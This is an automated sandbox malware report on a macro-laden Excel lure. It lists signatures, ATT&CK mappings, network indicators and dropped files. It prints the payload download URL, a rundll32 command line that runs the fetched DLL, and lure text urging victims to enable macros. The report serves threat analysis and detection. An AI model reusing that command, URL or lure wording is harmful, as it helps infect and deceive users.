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Analysis Report estimated (99).xls

Overview

General Information

Sample Name:	estimated (99).xls
Analysis ID:	353078
MD5:	48e967d6fb49bad425f2a30e9397044b
SHA1:	f173318107c6cb325fd1271644db2a394f993f69
SHA256:	ed67c2bce3ce33f697d5d60f73f861bdba018cd71610e5cdcc92427263fca8a1
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Found abnormal large hidden Excel 4.0 Macro sheet

Sigma detected: Microsoft Office Product Spawning Windows Shell

Yara detected hidden Macro 4.0 in Excel

Document contains embedded VBA macros

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 920 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2528 cmdline: rundll32 ..\kdfe.vbox,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
estimated (99).xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x4cea2:$s1: Excel 0x4df06:$s1: Excel 0x36bd:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
estimated (99).xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\kdfe.vbox,DllRegisterServer, CommandLine: rundll32 ..\kdfe.vbox,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 920, ProcessCommandLine: rundll32 ..\kdfe.vbox,DllRegisterServer, ProcessId: 2528

Signature Overview

• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Hooking and other Techniques for Hiding and Protection
• HIPS / PFW / Operating System Protection Evasion

Click to jump to signature section

Show All Signature Results

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown

HTTPS traffic detected: 217.26.213.91:443 -> 192.168.2.22:49167 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Jump to behavior

Source: global traffic

DNS query: name: darmatic.co.rs

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 217.26.213.91:443

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 217.26.213.91:443

Networking:

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: darmatic.co.rs

Source: 77EC63BDA74BD0D0E0426DC8F8008506.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2102395229.0000000001D37000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2102395229.0000000001D37000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000003.00000002.2102395229.0000000001D37000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2102395229.0000000001D37000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2102395229.0000000001D37000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: estimated (99).xls	String found in binary or memory: https://darmatic.co.rs/ds/1502.gif

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443

Source: unknown

HTTPS traffic detected: 217.26.213.91:443 -> 192.168.2.22:49167 version: TLS 1.2

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the internet.y 0Protected View This
Source: Screenshot number: 4	Screenshot OCR: Enable content" to perform Microsoft Word Decryption Core to start the decryption of the document.
Source: Document image extraction number: 2	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the internet."7, 0Protected View Thi
Source: Document image extraction number: 2	Screenshot OCR: Enable content" to perform Microsoft Word Decryption Core to start the decryption of the document.
Source: Document image extraction number: 3	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the internet.y 0Protected View This
Source: Document image extraction number: 3	Screenshot OCR: Enable content" to perform Microsoft Word Decryption Core to start the decryption of the document.

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: estimated (99).xls	Initial sample: CALL
Source: estimated (99).xls	Initial sample: EXEC

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: estimated (99).xls

Initial sample: Sheet size: 4598

Source: estimated (99).xls

OLE indicator, VBA macros: true

Source: estimated (99).xls, type: SAMPLE

Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Source: rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal72.expl.evad.winXLS@3/9@1/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\10EE0000

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD7F7.tmp

Jump to behavior

Source: estimated (99).xls

OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\kdfe.vbox,DllRegisterServer

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\kdfe.vbox,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\kdfe.vbox,DllRegisterServer	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Show sources

Source: Yara match

File source: estimated (99).xls, type: SAMPLE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting21	Path Interception	Process Injection1	Masquerading1	OS Credential Dumping	File and Directory Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution23	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	System Information Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting21	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://darmatic.co.rs/ds/1502.gif	0%	Avira URL Cloud	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe

Domains and IPs Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
darmatic.co.rs	217.26.213.91	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000003.00000002.2102395229.0000000001D37000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp	false		high
https://darmatic.co.rs/ds/1502.gif	estimated (99).xls	false	Avira URL Cloud: safe	unknown
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2102395229.0000000001D37000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2102395229.0000000001D37000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp	false		high
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2102166974.0000000001B50000.00000002.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
217.26.213.91	unknown	Serbia		31042	SERBIA-BROADBAND-ASSerbiaBroadBand-SrpskeKablovskemreze	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	353078
Start date:	15.02.2021
Start time:	15:48:18
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	estimated (99).xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.expl.evad.winXLS@3/9@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 8.248.133.254, 8.248.149.254, 8.238.27.126, 8.250.151.254, 8.253.208.112 Excluded domains from analysis (whitelisted): audownload.windowsupdate.nsatc.net, ctldl.windowsupdate.com, auto.au.download.windowsupdate.com.c.footprint.net, au-bg-shim.trafficmanager.net Report size getting too big, too many NtDeviceIoControlFile calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/353078/sample/estimated (99).xls

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
SERBIA-BROADBAND-ASSerbiaBroadBand-SrpskeKablovskemreze	Statement of Account as of 27_Jan_2021.xlsm	Get hash	malicious	Browse	217.26.215.11
	Gnnqmiwn.exe	Get hash	malicious	Browse	95.180.119.24
	wqCQactJ.exe	Get hash	malicious	Browse	95.180.119.24
	Y3gAvT9q.exe	Get hash	malicious	Browse	95.180.119.24
	SecuriteInfo.com.Mal.DocDl-K.25519.doc	Get hash	malicious	Browse	188.2.217.94
	SecuriteInfo.com.Mal.DocDl-K.22129.doc	Get hash	malicious	Browse	188.2.217.94
	SecuriteInfo.com.Mal.DocDl-K.13398.doc	Get hash	malicious	Browse	188.2.217.94
	SecuriteInfo.com.Mal.DocDl-K.19985.doc	Get hash	malicious	Browse	188.2.217.94
	SecuriteInfo.com.Mal.DocDl-K.17919.doc	Get hash	malicious	Browse	188.2.217.94
	LtMIugamW66s9DIoTLmG.exe	Get hash	malicious	Browse	188.2.217.94
	AEbQncAjZzCurqxDYb.exe	Get hash	malicious	Browse	188.2.217.94
	ekI4JFDOyRB4oEnH.exe	Get hash	malicious	Browse	188.2.217.94
	cpT0cIwD3kZSu.exe	Get hash	malicious	Browse	188.2.217.94
	kh7c.exe	Get hash	malicious	Browse	188.2.217.94
	5H6ibt.exe	Get hash	malicious	Browse	188.2.217.94
	rFdxWe3JgMeI.exe	Get hash	malicious	Browse	188.2.217.94
	lnAjh.exe	Get hash	malicious	Browse	188.2.217.94
	img00127.exe	Get hash	malicious	Browse	217.26.215.27
	img00125.exe	Get hash	malicious	Browse	94.127.7.174
	qzluTXww1B.doc	Get hash	malicious	Browse	94.127.7.160

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	documents (29).xls	Get hash	malicious	Browse	217.26.213.91
	DkELZjJtGY.xlsm	Get hash	malicious	Browse	217.26.213.91
	DHL - SL720073066537TX(3).docx	Get hash	malicious	Browse	217.26.213.91
	notice of arrival.xlsx	Get hash	malicious	Browse	217.26.213.91
	DHL_PRG201123213594.xlsx	Get hash	malicious	Browse	217.26.213.91
	selfassessment.docm	Get hash	malicious	Browse	217.26.213.91
	selfassessment.docm	Get hash	malicious	Browse	217.26.213.91
	P.I 467301.xlsx	Get hash	malicious	Browse	217.26.213.91
	Remittance copy.xlsx	Get hash	malicious	Browse	217.26.213.91
	Eur Swift copy.xlsx	Get hash	malicious	Browse	217.26.213.91
	RFQ 2027376.xlsx	Get hash	malicious	Browse	217.26.213.91
	TKL Steel Quotation.doc	Get hash	malicious	Browse	217.26.213.91
	SecuriteInfo.com.VB.Heur.EmoDldr.32.39676696.Gen.27336.doc	Get hash	malicious	Browse	217.26.213.91
	SecuriteInfo.com.VB.Heur.EmoDldr.32.39676696.Gen.27336.doc	Get hash	malicious	Browse	217.26.213.91
	Detailed #460988.xlsm	Get hash	malicious	Browse	217.26.213.91
	Detailed #460988.xlsm	Get hash	malicious	Browse	217.26.213.91
	PL + CI.xlsx	Get hash	malicious	Browse	217.26.213.91
	Funds Info.xlsx	Get hash	malicious	Browse	217.26.213.91
	JOLeiluXFw.xls	Get hash	malicious	Browse	217.26.213.91
	document_bundle_87762.xls	Get hash	malicious	Browse	217.26.213.91

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 59134 bytes, 1 file
Category:	dropped
Size (bytes):	59134
Entropy (8bit):	7.995450161616763
Encrypted:	true
SSDEEP:	1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk
MD5:	E92176B0889CC1BB97114BEB2F3C1728
SHA1:	AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443
SHA-256:	58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3
SHA-512:	CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7I.....e..Y..Rq...3.n..u..............\|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-......D..a....[.....i,+.+..<.b._#...G..U.....n..21pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b.....[...L..c..a..,...E5X..i.d..w.....#o+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.0765536003145497
Encrypted:	false
SSDEEP:	6:kKymbqoN+SkQlPlEGYRMY9z+4KlDA3RUeKlF+adAlf:23kPlE99SNxAhUeo+aKt
MD5:	76BF865A1B528EFDA03260D975C0279D
SHA1:	BB67BB40383B4B369C10022491B198C54A98863C
SHA-256:	DF953B05638EFE7B4FBAE552A40DED1E6F15283DBB6A628E1275E3CB63C1C787
SHA-512:	7750386640C6604E1A02A0C65C73717D55699EDB83BE04848AEA3D7D63C332D7DB0A00DB60EE99FA2F2996B91B9C229275BBD455AD6CB1009BD7C4BA1D0AD197
Malicious:	false
Reputation:	low
Preview:	p...... ......../.Y.....(....................................................... ..................&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.e.b.b.a.e.1.d.7.e.a.d.6.1.:.0."...

C:\Users\user\AppData\Local\Temp\8EDE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	306614
Entropy (8bit):	7.987362214455033
Encrypted:	false
SSDEEP:	6144:F+QrFLPodmRqyAVYtlKsVLCyo7NtbcY7uLaG/9t7+Msz:wQFPM8R3AsB+bjej/9cb
MD5:	BC6FDD14EBEBE36A15F8FFEBC44223DF
SHA1:	13AC3CAFC809ACF846BC888977CB088BE067623A
SHA-256:	BEF62E812377C04103B58AE97DE93EDF795DBB5D09CEB74E8F6D88C86BC0DBF4
SHA-512:	0F0075D3AAF8FD20AE823D6CF2C1D7C39536243EF0C8BA5FBE195E052F67E18437997D1809182A2EB6758E2525E5748A0A344D97DD2CFA9E4EF98D74C57DD5DD
Malicious:	false
Reputation:	low
Preview:	.U.n.0....?..........C....I?.&..an.0.........,.\.Qo.7.pz.........7.V..^i......;.0.....Z..d../g..u....e}J...({........G+....!...~1.\|.....)s....,.I...o..c...{Y.e"...Hd..;.#R..BKP^.Y.n0D..{.dM..&.x.)Qa..^...Mm...\|?".....!......u.......r8.........Z..GXJ.....q9.~..'.aZ.a%.4%.......s..&.{txD. ....../?..........`.:nN6..?..XF.../>S..y[..r....F....1......!.S.E.u.h~t.n.9.....C......>...az.}@...^.....:...a;....."M....l..w..j.6/...?.......PK..........!.\lC.............[Content_Types].xml ...(................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabE5DD.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 59134 bytes, 1 file
Category:	dropped
Size (bytes):	59134
Entropy (8bit):	7.995450161616763
Encrypted:	true
SSDEEP:	1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk
MD5:	E92176B0889CC1BB97114BEB2F3C1728
SHA1:	AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443
SHA-256:	58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3
SHA-512:	CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7I.....e..Y..Rq...3.n..u..............\|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-......D..a....[.....i,+.+..<.b._#...G..U.....n..21pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b.....[...L..c..a..,...E5X..i.d..w.....#o+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\Local\Temp\TarE5EE.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	152788
Entropy (8bit):	6.316654432555028
Encrypted:	false
